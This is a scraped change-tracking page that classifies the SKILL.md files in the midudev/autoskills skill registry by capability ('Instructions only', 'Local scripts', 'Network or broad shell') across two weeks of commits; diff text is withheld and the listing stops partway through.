#210 by GitHub stars

midudev/autoskills

One command. Your entire AI skill stack. Installed.

History

Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.

View weekly changes

packages/autoskills/skills-registry/accessibility/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/adev-writing-guide/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/agents-sdk/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/android-architecture-clean/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/android-compose-foundations/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/android-coroutines-flow/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/android-di-hilt/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/android-gradle-build-logic/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/android-kotlin-core/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/android-networking-retrofit-okhttp/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/android-testing-unit/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/angular-developer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/apply-stack-conventions/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/aspnet-core/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/aspnet-minimal-api-openapi/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/astro/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/azure-ai/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/azure-deploy/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/azure-diagnostics/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/bash-defensive-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/best-practices/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/bun/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/chrome-extension-development/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/clerk/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/clerk-android/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/clerk-astro-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/clerk-backend-api/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/clerk-chrome-extension-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/clerk-custom-ui/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/clerk-expo/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/clerk-nextjs-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/clerk-nuxt-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/clerk-orgs/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/clerk-react-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/clerk-react-router-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/clerk-setup/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/clerk-swift/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/clerk-tanstack-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/clerk-testing/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/clerk-vue-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Local scripts → After Local scripts

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/clerk-webhooks/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/cloudflare/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/cloudflare-deploy/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/composition-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/containerize-aspnetcore/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/core-data-expert/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/csharp-async/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/csharp-docs/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/csharp-mstest/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/csharp-nunit/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/csharp-tunit/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/csharp-xunit/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/dart-best-practices/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/deploy-to-vercel/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/design-mobile-apps/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/django-expert/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/django-patterns/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/django-security/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/dotnet-best-practices/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/dotnet-design-pattern-review/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/dotnet-upgrade/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/drizzle/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/durable-objects/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/eas-app-stores/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/eas-hosting/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/eas-workflows/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/elevenlabs-music/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/elevenlabs-tts/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/elysia/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/emailAndPassword/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 2dbab03b4198

No earlier version was observed for comparison.

Compare on GitHub

packages/autoskills/skills-registry/expo-data-fetching/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

2dbab03b4198 → 077b6ea6d747

Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

